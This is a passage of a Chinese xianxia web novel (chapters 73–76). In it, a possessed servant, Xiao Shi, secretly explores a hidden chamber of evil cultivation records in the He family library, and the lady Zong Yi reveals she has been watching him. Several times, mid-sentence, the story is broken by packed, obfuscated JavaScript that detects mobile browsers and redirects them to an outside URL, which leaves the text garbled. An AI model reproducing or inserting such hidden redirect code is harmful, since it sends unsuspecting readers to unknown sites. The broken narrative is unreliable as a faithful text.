江晏听她“啊”了一声,随后扁扁嘴,皱着眉头拼命甩手,似乎这样就能把手上的灰甩掉。 但显然是不可以的。 小十又叹了口气:“我带大小姐去清洗吧。” 采玉“嗯”了一声,又甩了甩手。 这次,可能是因为用力过猛,她的手指勾到了旁边书架上的一本书,带着那书本微微向前移了两个指节。 小十看过去,见到眼前的景象后,身体微微发起抖。 江晏知道,他是因为兴奋—— 在那本书被移动后,他们旁边的这个书架整体发生了位移,和相邻书架的间距变大了。 隐隐约约露出地面上更明显于其他地砖接缝的矩形轮廓。 江晏能感到,小十的心在狂跳。 他看了看那地面,又看向采玉。 采玉显然没有注意到这个变化,她只是摊着一双脏兮兮的小手,并把视线移到了家主夫人新给她的月白纱裙上。 江晏、小十:…… 看样子,这姑娘该不会是想把灰蹭到这件巨贵的衣服上吧…… 在他们殷切的目光中,采玉缓缓向纱裙伸出了双手! 小十:! 他眼疾手快,拽着胳膊一把拉起了采玉:“走,带你清理去。” …… 一柱香的时间后。 小十看着干干净净的采玉穿着干干净净的小裙子坐回了座位上看书,终于露出了满意的笑容。 ——这下,暂时没有人打扰他研究藏书阁的秘密了。 他再次走到那边被拉出一部分的书前,仔细观察。 是一本《何氏人物传记》,放在这片记录着何氏家族各种信息的书架里,并不起眼。 小十又悄悄瞄了眼采玉。 采玉坐在桌前,一张小脸已经埋在的书堆之中,完全没有理会他的意思。 小十舒出一口气。 他伸手放在了这本特殊的书上,然后用力向前拉—— 这次书架没有再动,反而是那块不一样的地砖,缓慢而无声地从中间分开了一条缝。 然后逐渐扩大,那条缝便变成了一个有一臂宽的入口。 小十站在入口,向里面望去。 ……什么也看不见,只有一级又一级的阶梯在向里,向下延伸。 小十在原地站了片刻。 江晏估计他是在思考要不要现在进去瞧一瞧。 果然,片刻后,小十伸出左掌一翻,红色的小火苗便跃然于手上。 火苗的边缘颤动着,一闪一闪。 江晏便对啾啾叹道:“看,火灵根的好处。” 啾啾:? 江晏:“照明用啊,而且如果在荒山野地里出任务,还能取暖,做饭……” 啾啾无语了:“你够了啊,这时候关心一下我们小朋友好吗!” 江晏顺着小十的视野看了眼:“看起来没什么特别的东西。” “全都是书。” 在小十手中火苗的照耀下,密室里的景物轮廓渐渐清晰了。 ——和普通的书房没什么区别。 几个书柜沿着墙壁摆放,屋子中间是一张八仙桌,旁边是一圈凳子。 除此之外,也没什么特殊的东西了。 小十在密室中扫了一圈,便退了出来。 他走到那伪装成书籍的开关前面,用力把凸出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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小五道:“……这不是重点。” 小十的目光转向她,小五愤愤补充:“关键是她让老爷带了不少何家的好东西出去,里面甚至还包括了夫人的嫁妆呢!” 听到此处,江晏感到小十嘴角抽了抽。 ——确实怪不得何夫人生气,这个世界背景下,除非是实在没钱了,才会动夫人的嫁妆。 但何家显然不是这么个情况,何夫人自然会气急攻心,身体便不好了。 廊桥下虫鸣窸窣,小五和十二明显对何家家主的风流韵事了解不多,为夫人抱了几句不平之后,便大眼瞪小眼,竟是再聊不出何照山与那外室私会的时间、地点这种细节了。 女孩子们的话题便转移到了日后的另一半身上。 江晏陪小十听着,听她们先是说要找怎样的男人。 再到小姐妹们和另一半的故事,中间不乏恨海情天移情别恋之类堪比话本的情节。 最后,江晏听道小五和十二做了总结: 恋爱不如修炼。 此话甚得剑修心意。 73. 穿墙符 小伙伴们聊完天后,便各回各屋,歇息下去。 小十自然也回到了卧房,脱下了外衣。 他脱外衣时自然会睁着眼,连带着江晏也能看到。 ——这是近来啾啾喜欢打趣江晏的环节。 正如此时,啾啾道:“峰主耍流氓,你偷看人家脱衣服。” 江晏:…… 他已经习惯了这只时常抽风的小鸟。 他说:“没有,是这个身体在看。” 啾啾不依不挠:“但你可以闭上你意识体眼睛的。” 江晏弹了下它的脑瓜:“他脱的是外衣。” 啾啾:“万一他继续脱里衣呢?你能反应过来吗?你来得及闭眼吗?” 江晏弹它脑瓜的力气加大了:“反正我猜这孩子现在不会这样干的。” “白天藏书阁的事,他肯定在心里一直挂念着呢。” “我估计,他没准马上就要换上一身夜行衣,要回去看看呢。” 他和啾啾插科打诨着,一旁,小十已经把脱下的外衣收好,转身拿出来另一套衣服。 江晏看去,见到了几片黑色的色块——居然还真的是夜行衣。 他对啾啾骄傲道:“你看,我就说嘛。” 啾啾:…… 小鸟沉默着,和江晏一起看小十把衣服换好,溜出了栖霞苑。 万籁俱寂,月明星稀。 江晏附在小十身体上,和他一起在空中越过一座座屋脊。 夜色中,何家的建筑像一只只伏在地上的兽,而江晏和小十,就在这些巨兽的背上行进着。 江晏一边看小十躲过各个院落的侍卫,一边对啾啾说:“我真的有点担心欸。” “我现在和这孩子是感知共享的,他万一被抓住我就惨了。” 啾啾:“……别这么怂,不会的。” 江晏完全没有被它安慰到:“虽然小十的身体是有修为的,但是这个孩子我感觉他处于一个刚入门的阶段,灵力用得还不熟。” 啾啾无奈:“你想得有点多了吧。” “你不是说,在你的记忆里面,何家最后消失了吗,那估计就是这孩子最后成功了。” 它说完后,江晏反而更加忧心忡忡了:“我是说万一,万一啊,这小孩被抓住了,然后黑化了,最后不是也能达成何家消失的结果吗?” 啾啾:…… 它说:“你这话我就没法接了啊。” 江晏摆摆手:“算了,再怎么着也就这样了,我应该多学点历史的。” 语毕,不再和啾啾聊天,转而盯着小十的一举一动。 此时,小十已经越过了何家大大小小的院落,离藏书阁不过几十丈的距离了。 江晏借着他的目光,已经能看到藏书阁屋檐弯弯的轮廓。 明月高悬,藏书阁下的情况一览无余。 小十和江晏屏息凝视,往下看去,只见…… 然后二人在各自的维度都沉默了。 因为,藏书阁外,一个守卫也没有。 小十低声自言自语道:“也许里面有人。” 江晏在他身体里猛鼓掌,一边对啾啾道:“看,孩子做事多仔细啊。” 啾啾:…… 与此同时,小十的目光从藏书阁外移到了藏书阁门口,以及房屋外部。 大门紧锁,所有的灯都灭着。 猛一看,和何家院落里任何一个普通的建筑并无不同。 ——简直普通得让人不放心。 但俗话说,来都来了,小十是必须要进去走一趟的。 江晏只见他呼了口气,似乎下定了什么决心,转而向藏书阁门口奔去。 景物在迅速后退,江晏眼前花了几息,小十已经到了门口。 他伸手摸了摸大门——果不其然,门是锁着的。 但小十没有着急。 他身体里的江晏也不着急——江晏知道,小十有办法。 小十放下刚刚推门的手,在身上摸出来一张符纸。 那是一张穿墙符,江晏前一阵子见他画过。 而此时小十手里的这样,笔迹连贯,看来是他画得最成功的一张了。 小十把符纸贴到藏书阁门口近处的墙上,清了清嗓子,开始念咒。 由于最近他学了太多符篆的知识,逼得江晏也记住了不少。 江晏能听出来,小十念的是一个中级穿墙的咒语。 随着小十口中最后一个字落下,江晏眼黑了黑,似乎有什么东西从他身体两侧掠过去了。 小十眯了眯眼。 眼前不再是刚才法术实施中的完全漆黑了,而是灰蒙蒙的,能隐约看出事物的轮廓。 小十在屋子里原地转了两圈,眼睛渐渐适应了室内的亮度,周遭的一切清晰起来。 江晏见他略带茫然地打量着眼前的……一扇门。 然后面容开始扭曲了。 江晏叹气,对啾啾道:“这就是学艺不精啊。” 啾啾:? 江晏的意识体指着那道门:“一般像藏书阁这种地方,哪里会只按照一道门的。” “往少了说,也得一层外门一层内门。” “这孩子画的符效果没那么好,穿墙只能穿那么一点点的距离,还一下过不了两道门。” 啾啾听了,沉默片刻,道:“往好处想……他至少没有卡在墙里。” 这句话说完,江晏也沉默了。 一人一鸟便静静看着小十的下一步动作。 只见他双手扶额,发出无声且崩溃的感慨后,又从身上摸出来一打符篆。 确实是很有厚度的一打,江晏能看到符纸侧面的厚度有半个小拇指节那么厚了。 他粗略扫过去一眼,除了已经用到的穿墙符,还有隐身符、消音符等等。 而且一种符小十还不止准备了一张。 江晏看他从这一堆符纸了抽出来两张穿墙符和两张消音符,捏在手里,叹了口气气,开始念咒语。 于是之后就是在重复刚才的步骤了——江晏眼前黑了黑,再能看清四周环境时,他终于随小十完全到了藏书阁内部。 只见书架林立,明明和白日里是同一种东西,但此时却多了几分压迫感。 总感觉那高大的书架后会有什么东西跳出来一样。 江晏能感到,小十的心跳快了。 显然他也意识到了这点,他在深呼吸,试图降低心率。 但是这就迎来了新的问题——夜晚的藏书阁里太安静了,小十这么一深呼吸,声音太明显了。 于是江晏感到小十硬生生把呼了一半的气憋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他的脸湮没在灯光不能及的阴影处,江晏只能通过他身上绣着牡丹的制服,判断出是何家的长老。 这种家族里的长老,大多是家主为了听着有底蕴弄出来的职位。 他们实际身份不如说是何家家主的二叔三爷之类的亲戚。 小十向前走了几步,借灯光的余晖打量着那人的脸。 ……看起来面熟,和何照山确实有几分相似,只是更年轻。 江晏不认得他。 但小十的手指尖开始抖了。 随后那抖动的频率向胳膊蔓延,他整个人都在颤着。 但是他没有往后退一丝一毫。 于是江晏判断出,小十的反应不是恐惧。 而是激动。 是看到了猎物的激动。 小十低声说:“何司武,我可算是找到你了。” 由于加着消音符,他不怕声音外泄,又道: “你把江晏从野坟场骗到竹城何家时,想过他会逃出去吗?” “你对着婆婆说的那些话做到了吗?你不怕她来找你吗?” 74. 藏书阁密室 江晏就附在小十的身体上,因此,小十说了什么,他想听不清都难。 所以当他反应过来自己听到了什么时,有一瞬间,感觉天都塌了。 江晏语气干巴巴地对啾啾说:“我好像还没跟你说过我做的梦吧。” 啾啾同样语气虚弱:“我确实不知情……但结合上下文,你该不会是要说,你做的梦和这孩子说的那几句话能对上吧。” 江晏艰难地“嗯”了一声:“我的梦里确实有坟场,有婆婆……” 啾啾:“而且你们还重名。” 江晏捏住它的鸟嘴:“那这样也太惨了吧!我怎么可能……怎么可能会这样啊!” 啾啾抬爪踢开他的手:“都说了你记忆和魂魄都不完整了,你要是不信就别想,先看看这孩子吧。” 江晏垂下眼,没有再说什么。 他不知道自己是不相信,还是不敢相信。 江晏想,我的人生其实已经挺不错了,从竹城的凡人到修真界名门大派峰主。 我的性格也很好,无论是同性还是异性,都对我评价尚佳。 这样的性格难道不应该是在合江宗里养出来的吗? 难道不应该是在宗门里,和同窗打打闹闹中形成的江晏吗? 但那在大雪中的,在雨里泥里的“江晏”又是谁呢? 那样的经历,是养不出来另一个江峰主的。 他现在能站在这里,是由无数个过去的江晏组成的。 那么,到底过去是什么样的江晏,组成了现在的江晏呢? 现在的江晏不知道答案。 但他隐隐约约感到,如果他一直弄不清这个问题,那道悬在他头上的雷劫就会一直存在。 因为他不记得过去,所以才走不到未来。 江晏开始久违地头痛了。 真相穿着白纱从他面前经过,他伸出手,摸到了一角。 那丝质的布料却又很快从他手里划走了。 他陷入了过去,现在和未来的漩涡,每一个漩涡的水花里,都有一个人影,和他长着一样的脸。 他们伸出手,邀请他共同沉沦在漩涡延伸出的无数个可能中。 有声音穿透漩涡了,如金石相击,钟鼎轰鸣。 是啾啾的声音,这只聒噪的鸟儿难得没有说话,只是引吭发出长鸣。 ……也不知道一只灰灰的小鸟是怎么发出这样气派的声音的。 江晏放下了按住额角的手,深吸了一口气。 这些问题他现在是找不到答案的。 现在搞清楚那用了小十身体的魂魄才是重要的事情。 江晏看着小十,希望他能多说出一些东西。 但小十在扔下这如晴天霹雳的两句话后,反而抿起嘴,不再说什么了。 吊得江晏心痒痒。 小十越过何司武,向着那伪装成一本书的机关走过去。 江晏则在琢磨他刚才那两句话。 已知小十说过他在梦境中的经历,可以假设穿到小十身上的灵魂和梦境中的小孩是一个人。 就是那个拿着小公子给的食盒,在大雪中走了一路后面被婆婆收养的小孩。 但江晏没有想到,后面婆婆死了,小孩会出现在竹城何家。 听小十的意思并联系自己穿过来的所见所闻,小孩还是被拐过来当“灯油”的。 堪称人生起落起落无线一波三折,江晏的意识体眉头都皱了起来。 啾啾正经起来:“别想了,小十的身份估计也有点问题。” 江晏道:“你猜到什么了。” 没有用疑问句,语气中带着一丝笃定。 啾啾跳到了他头上,尖叫:“你所有小世界的身份都会和你自己产生交集啊——这还需要猜吗?” 江晏:…… 他刚才身上高深莫测的气势一下子全消散了:“啊,但我不记得有叫小十的朋友啊。” 啾啾更无语了:“是有交集,交集包含的关系种类多了去了,没说你们一定是朋友啊。” 江晏沉默片刻,道:“虽然不知道为什么,但感觉更奇怪了呢……” 他开始回顾这些年来的人生,突然灵光一闪。 “除了朋友,该不会还有死对头吧。”江晏如是说。 啾啾:? 江晏自顾自说下去:“你刚才的话给了我灵感,我想起从前去取陨铁时,和人打了一架。” 啾啾:“……我不懂,你们剑修难道打架的次数还少吗?为什么非要记得那一次。” 然后它似乎听见了江晏的磨牙声:“呵呵,因为我们不止打了一架。” “而且,第一次的时候,我没打过他。” 啾啾闭嘴了,并拍了拍他的肩膀以示安慰。 在江晏陷入灰暗人生回忆的同时,小十也摸到了那本特殊的书,用力拽了出来。 和白天一样,书柜移动,地面裂开,露出了隐藏的密室。 小十向何司武所在的方向看去。 他们之间的直线距离并不远,不过十丈左右,这对于修真之人,不过是几息之间就可以越过的距离。 但好在何司武睡着,他们之间更是又一排排书柜隔着。 那书柜错位排列,竟是把何司武和小十之间的大部分视线都挡住了。 小十只能从书本与书格之间的缝隙里,看到何司武面前的烛光晕出来。 若是想看到何司武,更是要趴在书前,这样才会在更大的视野里看到他。 这样的布局,让小十完全放心下来。 他深吸了一口气,沿着向下的阶梯,进入了密室。 在白天,他只是粗略看过了密室的布局;而现在,小十有了更多时间来研究里面的藏书。 他掌心火红的灵力照亮了一排排书脊。 江晏不再纠结身份之事,用小十的眼睛一起看过去。 不看不知道,这些书名的内容堪称触目惊心。 诸如《灵根置换》《如何选择灯油》等等,一看就是内容不对劲的功法。 除了这些有名字的书,还有不少厚厚的册子,也在书架上成堆放着。 册子封装处没有标注,小十便随手拿起一本翻开。 然后他的眼睛受到了冲击——不知算巧还是不巧,他刚好翻开了“置换灵根示意图”那一页。 是足可以被归为邪修的程度。 江晏皱着眉,看小十把册子又往后翻了几页。 这下可更了不得了,后面标注了不同的时间,全是何家用不知道从哪里拐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他看着小十在地上如同一只蘑菇一般蹲了一会儿后,终于站起来,再次确认了留影石所记录的范围,然后走出了密室,往栖霞苑的方向过去。 ……江晏感觉他走路时,脖子没有刚才过来时那么直了。 简称垂头丧气。 毕竟此时和人家共用一个身体,江晏看他这样也有点不忍心。 可他也没办法直接和小十说话,只能同啾啾嘀咕:“其实记录了一个书柜也很不错了。” “按照何家密室藏书的比例,他可是掌握了足足四分之一的证据呢。” “再攒攒钱,可能也就这几年能搞定,更何况何家的事证据确凿,不必把密室里所有的东西都拿到明面上。” 啾啾翅膀扑棱了几下:“啾,我要纠正一点。” 江晏:“唔?” 小鸟清脆的声音响起: “应该用不了你说的几年了。” “根据何家覆灭的时间线,这件事可能还有半年左右就要发生了。” 75. 家主夫人宗翊 这个夜晚,小十顺利完成了夜探密室和记录部分何家邪术的任务。 接下来几个月,他在无人之时,便拿出那块留影石来研究。 江晏被困在这具身体里,无所事事,便和他一起看着。 如此把留影石里的内容翻来覆去看了几次后,其实会发现,何家的邪术也没有多高深。 只是借助阵法和器物,在修炼时,把别人的灵力转移到目标身上来。 所以那些用来被吸取灵力的修士才会被称为“灯油”,燃烧的是他们的灵力,但得到好处的却是用了这种功法的何家人。 但雁过留痕,这种和寻常方法不一样的修炼方式,自然也会在修士体内留下不同寻常的印记。 小十最近在在研究这种所谓的“印记”,但却还没什么头绪。 江晏看着,他感觉小十要搞大事情。 但此时要搞大事情的小十陷入了纠结。 江晏听见他小声嘀咕:“我是先偷偷再去一次密室找关于印记的书呢,还是攒攒钱买了留影石再去呢?” 江晏:…… 这确实难以抉择。 前者自然可以马上解决目前困扰着小十的问题,但由于他此时没有留影石,也就意味着他有新的留影石之后,还要再去密室。 算下来,要多去一次藏书阁,被发现的风险便增加了。 至于后一种方法,虽然减少了行动次数,被发现的可能性降低了,但距离小十攒够钱再买一块留影石还有近一年的时间,中间的变数不可考量。 江晏抓了抓头发,开始思考小十自己发现“印记”的可能性。 而小十自己,他近来开始频繁出入油室,接触那些使用了灯油修炼的何家弟子。 ——看来也有和江晏一样的想法。 更巧的是,何家家主何照山,要带着何采玉出游。 当然,小十不必跟着——何家家主有那么多守卫,多他一个并没有什么作用。 换句话说,小十得到了几天空闲,可以尽情探索他关注的事情了。 他也确实这么做了。 何照山带何采玉出门,一去就是半个月后,说是每年在山上的清修习俗。 但在这半个月的时间里,关于使用“灯油”的“印记”一事,堪称一无所获,小十肉眼可见地焦虑起来。 而不久后,何照山带着陷入昏迷的何采玉回到了何家。 家主夫人宗翊与家主何照山之间爆发了一次激烈的争吵。 没有具体争吵内容的知情人。 小十不关心这个,他只知道,何采玉病了,他要经常陪着。 所以,他探索“印记”的机会变得更少了。 江晏看着,感觉以目前的状况,小十很可能就要在没有留影石的情况下,再去一次藏书阁密室了。 ——手动寻找与“印记”相关的内容,并完全依靠自己的脑力记住它们。 想到这里,江晏几乎是下意识地皱眉: 上次溜进藏书阁有惊无险,其中运气占了很大一部分。 而再来一次的话,万一被里面的何司武发现…… 江晏开始头疼了。 但就在这时,一个堪称天上掉馅饼的转机出现了。 在某个下午,小十回到栖霞苑里时,见家主夫人站在苑中。 这其实是一件挺难得的事情,因为自从他上一次看到夫人身体不好在喝药后,她已经有段日子不经常出门了。 更何况前一阵还和何照山大吵了一架,郁结于心,情况就更不好了。 几乎是终日卧床的状态,不怎么管事了,就连小十日常的请安报备也免去了不少。 但此时的家主夫人就这样站在院子里,看来身体好了不少。 那一刻,小十的心情是难以形容地复杂。 一方面,他巴不得何家所有人都下地狱。 而另一方面,家主夫人对何照山的邪术比较抵触,而且对他也挺照顾的。 小十不知道怎么处理这种混杂的感情,他便干脆摆出一副没什么表情的模样,向着家主夫人走过去。 夫人看着他,屏退了左右。 小十:? 这看起来是有很重要的事情说啊。 由于做贼心虚,一瞬间,他想到了藏书阁的密室。 家主夫人宗翊缓缓启唇,声音中还带着一丝虚弱:“你在采玉身边,她近日的情况应该知道吧。” 小十收回那些漫无边际的猜想,回道:“依旧是昏迷状态。” 他觑着宗翊的脸色,补充:“但是用膳时,可以自主吞咽了;就连在晚上睡觉时,有时还会梦呓。” 宗翊听到此处,脸色神色变得有些恍惚了。 小十便做出了总结性的话:“想来大小姐情况好了很多,意识在逐渐恢复,估计很快就能醒来了。” 宗翊慢慢点头,但没有说话。 她不说话,小十一时间也不知道说些什么,气氛便有点僵了。 忽而,宗翊道:“你知道她为什么昏迷吗?” 小十:? 姐,这你应该去找大夫啊! 或许是读懂了他脸上的震惊和迷惑,宗翊叹气,换了个说法:“算了,我问你:你想知道采玉为什么昏迷吗?” 她不说还算了,这么一说,小十背后开始冒冷汗了。 现在的宗翊,状态不太对劲,居然开始说这种事了。 可是他现在毕竟是宗翊的人,还是要顺着她的意思说下去。 小十闭眼,咬咬牙,最后道:“如果夫人愿让我知道,我愿为夫人分忧。” 此话一落,宗翊居然笑出了声。 在小十身体上的江晏,那瞬间甚至感受到了他的瞳孔地震。 江晏也忧心忡忡,对啾啾道:“……她不会是要疯了吧。” 但宗翊没有疯。 她停住了笑,恢复了往日优雅的做派。 宗翊按住额角,说:“你应该听过何照山养外室的事了吧。” 小十:…… 如果作为一个本分的家仆,按情理来讲,他不应该知道的。 但宗翊的语气是笃定了他知道。 小十这么思考犹豫之间,宗翊已经知道了答案:“你不必害怕我说你妄议主子的事情。” “是小五她们和你说的,她们本来也是好意,为我打抱不平。” 小十点点头。 宗翊继续说下去:“你肯定在想,外室和采玉的昏迷有什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902386|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关系呢?” 她神色淡淡:“而且,你还会猜我为什么拉着你聊天,耽误你做自己的事情。” 这句话落在江晏耳朵里,自然是听出了除了责备之外的,意味深长的东西。 他的意识体甚至炸毛了。 但是现在掌控小十身体的灵魂年龄不大,因此江晏见他急慌慌地单膝跪地,道:“小十不敢,小十没有。” 宗翊对他说的话不置可否,只是平静道:“起来,别让我说第二遍。” 于是小十又站起来,和她面对面立着。 宗翊说:“我要开始讲采玉的事了。” 傍晚的夕阳血红,映在她白色的长裙上,也是红衣烈烈。 她说:“何家确实每年有清修的习俗,采玉也不是第一次被带出去了。” “采玉一年比一年大了,修为也渐渐有了,按说,她遇到危险的可能会越来越小。” 宗翊的声音有些低沉:“但是,这次她却实实在在地出事了。” 她的眼睛似乎比刚才更亮了,小十知道,那泪花的反光:“她可是到现在一直在昏迷着!医师来了一次又一次,却没什么头绪!” “我开始调查采玉为什么出事,想从这里找到对症下药的办法,却不料……” 宗翊突然咬紧了牙:“却不料有人连虎毒不食子都做不到!” 听她这么说,小十心中的一个猜测渐渐清晰了,他轻声说:“难道是家主……” 他的话被宗翊决然打断了:“何照山这个畜牲!” 她没收着声音,小十惊了一跳,慌忙往四下看去。 ……还好,由于在这场谈话的开始,宗翊就已经驱散了其他人,因此她刚刚那一句话,并没有被不该听的人听见。 宗翊见他的动作,摆摆手:“没事,他不敢动我。” “他能当上何家家主,还不是靠我背后的宗家?” 转而又叹气:“这次采玉的事情,也是我找母家帮我查清的。” “那畜牲说是带采玉上山清修,但还带着那外室!” “我看他是老糊涂了,外室说自己怀孕了,采玉和她独子里的孩子八字相撞,除非用什么方法化解才行。” “他居然相信了!他居然信了!” 宗翊的声音渐渐尖利起来:“采玉已经那么大了,能跑能跳的,叫了他不知多少声爹爹了!” “他居然为了一个没有见过面的孩子,催动了何家家传的邪术!” “那邪术和他蓄养的灯油本质差不多,都是从人身上吸取能量,来填补另一个人的空缺。” 听到此处,小十似乎已经明白了何照山做了什么,但却不敢相信。 但宗翊的声音就在耳边,真真切切: “我在何家这个魔窟费尽心思保护了采玉这么多年,就是为了让她干干净净的,不碰何照山那些东西。” “但是,我高估了他。” “他把人不当人习惯了,把主意打到了采玉身上。” “他居然,他居然让采玉去当了类似灯油的角色!” “他把采玉身上的灵根和修为在往那腹中胎儿身上转移!” 宗翊话音落下,周遭寂静无声。 小十已然听呆了。 76. 宗翊的密谋 残阳如血,晚风瑟瑟。 小十和宗翊对立于栖霞苑中。 此时的宗翊,不再是何家的家主夫人了。 她是宗翊,是一个有名有姓,有自己的人。 刚才复述事件经过的愤怒,耗费了她很大的精气神。 此时,宗翊看着有些疲惫,眼帘微阖,低声对小十道: “查清此事后,我才明白为什么医师治不了采玉了。” “这与何家的邪术相关,还需用他们家的解法来解。” “但目前看起来,何照山不愿意做什么,他只是旁观着,看着我的采玉成为下一个灯油。” 小十的心开始砰砰直跳。 他一向是一个聪明的孩子,能预感到宗翊要说什么了。 宗翊抬头,目光冰冷而又坚定:“既然如此,那就怨不得我了。” “何家本来就不是什么好东西。” “现在,我的采玉出事了,我要让整个何家付出代价!” 这一瞬间,江晏感到小十的血液都在激烈涌动,震得耳膜嗡嗡作响。 ——暂且不论过程原因,但此时,宗翊,这位在何家份量极大的人物,和小十一起站在了搞垮何家的战线。 小十内心狂喜,但表面还是要装一装的。 他适时地露出了犹豫,同情,悲愤的样子。 宗翊看着他。 小十继续保持着这个表情,与她对望。 宗翊说:“你是我从宗家带过来的,你得帮我。” 小十思考着原主的人设,道:“小十定会站在夫人身边……只是,何家家业如此之大,想来也是不容易的。” 宗翊不说话了,只是用一双美目冷冰冰地看着他。 那一瞬间,江晏怀疑自己听到了小十的心声: 啊啊啊她是不是嫌我说得帮忙搞何家不坚定啊! 还是说我刚才叫了她夫人她采不高兴的…… 我要怎么找补—— 江晏听小十开口,颤巍巍道:“那个……宗小姐?” 宗翊依旧不言不语,目光盯着他。 但此时她没出声就是默许了,小十心里安定不少,继续说了下去: “宗小姐,那我们应该从哪里开始入手呢?” …… 寂静,还是寂静。 在气氛几乎凝滞了的栖霞苑中,小十近乎崩溃了。 他本来用了别人的身体就心里有鬼,此时更是心跳加速。 震得江晏也开始紧张了。 他对啾啾说:“……感觉不对劲啊。” “再结合宗翊之前说的什么,做他自己的事情……” 江晏总结:“反正感觉她知道点什么,女人的第六感总是很神奇的。” 啾啾扑棱了两下:“我还以为你要说什么,结果你告诉我是第六感?” 江晏的意识体摊手,指了指外面:“你看。” 啾啾依言看过去,沉默了。 夕阳下的栖霞苑里,宗翊和小十依旧“对峙”着。 小十已经不再和她对视,而是低头看着地面,看着苑中落下的牡丹花瓣。 他想:魂穿这事,以何家的实力,验证不出来什么确凿的证据。 如果何家能有验证神魂的法器,那就早该开宗立派了。 如此思考后,他心里安定了些,便等着宗翊率先开口。 宗翊确实说话了。 她说:“别装了。” 小十:? 虽然内心惊疑,但他还是抬头,以一种充满不解的目光对着宗翊:“我对小姐一直忠心耿耿……” 宗翊没让他说完后半句,出言打断:“我知道。” 她盯着小十,目光中竟然是渐渐带了笑意:“你可真是太忠心了。” 这话一时听不出正反话,小十沉默着。 宗翊伸出染了丹蔻的手指,戳在了他的脑门上:“你还装起来了,你做的那些事,还当我不知道吗?” “我说搞垮何家,你那副迷迷瞪瞪的样子给谁看呢?你可该是最清楚了。” 小十:?? 他脑海中的问号更多了,事情似乎向着一个他从来没有考虑过的方向,如脱缰的野马狂奔而去。 宗翊见他还沉默着,收回了手指,双手抱在胸前:“你去藏书阁里,发现了什么,只有你自己知道。” 小十和江晏都震惊了。 小十连忙单膝跪地,却不知怎么解释了:“我……” 江晏则是对啾啾发出尖锐爆鸣: “宗翊怎么知道的!” “不对,她是何家的家主夫人,自然什么都瞒不过她。” “她是派人跟踪这孩子了吧……他没发现,但我怎么也没发现!” 啾啾干咳:“容我提醒一下,你现在的身体的五感修为,和你那江峰主的壳子差远了。” 江晏呆了一瞬,愤然:“这孩子好菜啊——” 啾啾无力:“他只是个孩子,你还要他怎样……孩子是会成长的!” “好吧。”江晏深吸了一口气,“那我们现在该考虑的是,既然宗翊知道了他在偷偷摸摸地干什么,那何照山……” “算了,何照山肯定不知道。不然我们早就不站在这里了。” 从刚才一瞬间的震惊中回过神,江晏从思考切换回了看戏状态,透过小十的目光,看着宗翊。 宗翊对小十摆手:“站起来说。” 小十遵令站了起来,只是眼神还有些飘忽。 宗翊斜了他一眼,道:“干的时候不是很有种吗?现在就这点出息了?” 小十和江晏:…… 完全不知道怎么反驳呢。 宗翊抱着手臂,围着小十踱了一圈,口中边说: “采玉是我的孩子,一个本家的侍卫照顾怎么能够,前些日子,我从宗家要了两个修为不错的人。” “我让他们暗中看着采玉。” “于是,他们自然看着你陪采玉去了藏书阁,又看到你和采玉交谈中,不慎触发了什么机关。” “他们自然告诉了我。” 宗翊一拍手:“当时我就想,你既然敢借我的名义去油室那边,那见了这个机关,可不得像耗子进了米缸一样嘛。” 江晏感觉这个身体脸色开始发烫了,他不用看,也知道此时这孩子的脸色必然十分精彩。 宗翊不管小十如何想,继续道:“所以呢,我让他们继续关注着你后面要干什么。” 她笑了:“好奇你要做什么是一个方面,另一方面,我也很想研究一番何照山的秘密。” “还是得谢谢你和采玉,让我找到了这么好的一个机会。” 听到此处,小十已经完全不知道说什么好了。 他脸色青青白白,颜色好不热闹。 宗翊见了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902387|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点到为止,没有继续调侃他,而是说起了正事。 “藏书阁好进,那是我本家的侍卫把藏书阁的人弄走了。” “至于在里面的何司武……本来就算不得什么修为高的,我给了他一些吃的。” 她又笑了:“所以呀,后面你见到他时,他总在昏昏沉沉地睡觉。” “然后你就能去密室里面了。” “我身体不好,不便多走动,你也算帮上大忙了。” 宗翊食指屈起,支住下巴:“但你很谨慎,去那里的次数不多,所以,我在想,你是怎么记录密室的东西呢?” 